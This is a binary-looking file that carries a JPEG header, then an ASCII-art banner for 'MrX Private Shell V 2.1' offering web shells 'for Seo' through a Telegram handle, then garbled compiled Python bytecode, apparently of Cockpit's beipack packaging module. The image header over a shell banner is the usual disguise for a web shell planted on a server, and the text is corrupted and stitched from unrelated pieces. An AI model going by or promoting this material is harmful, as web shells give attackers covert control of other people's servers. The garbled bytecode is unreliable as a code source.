����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
]W�i� � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlmZm Z m
Z
mZmZm
Z
ddlmZ eed�dd�Zeed�dd �Zeed�d
d�Zeee ed�d
d�Zeee ed�dd�Zeeef ee ed�dd�Zd(eeef ee eed�dd�Zd)e
e ee eeef d�dd�Zeeeeef d�dd�Zeeeef d�dd �Zeeeef d!�d"d#�Zdd$�d%d&�Zed'k�r�e� dS )*� N)�Dict�Iterable�List�Optional�Set�Tuple� )�read_data_file)�data�returnc C s8 d}|| vrd| | | S d| vr0d| d S t | �S )Nz'''�rz"""zr""")�repr)r
Ztriplequote� r �?/usr/lib/python3.9/site-packages/cockpit/_vendor/bei/beipack.py�
escape_string s r c C s dt | �d�� S )N�b�ascii�r �decode�r
r r r �ascii_bytes_repr( s r c C s t | �d��d S )N�utf-8z.encode('utf-8')r r r r r �utf8_bytes_repr, s r )r
�importsr c C s* |� d� t�| ��d��� }d|� d�S )Nzfrom binascii import a2b_base64r za2b_base64("z"))�add�binasciiZ
b2a_base64r �strip)r
r Zencodedr r r �base64_bytes_repr0 s
r c C sF z
t | �W S ty Y n0 z
t| �W S ty: Y n0 t| |�S )N)r �UnicodeDecodeErrorr r )r
r r r r �
bytes_repr8 s
r )�contentsr r c s$ dd� � fdd�| �� D �� d S )Nz{
� c 3 s. | ]&\}}d t |�� dt|� �� d�V qdS )z z: z,
N)r
r )�.0�k�v�r r r � <genexpr>P s �zdict_repr.<locals>.<genexpr>�})�join�items)r r r r% r � dict_reprN s ���r* r! )r �
entrypoint�argsr c C s� t d�}dd� |�� D �}|�d� dh}t| |�}|�|� |�d|� d�� |r�|�d�\}}|�d |� d
|� d�� |�d|� d
�� d�dd� |D ��S )a� Creates a beipack with the given `contents`.
If `entrypoint` is given, it should be an entry point which is run as the
"main" function. It is given in the `package.module:func format` such that
the following code is emitted:
from package.module import func as main
main()
Additionally, if `args` is given, it is written verbatim between the parens
of the call to main (ie: it should already be in Python syntax).
zbeipack_loader.pyc S s g | ]}|r|�qS r r �r"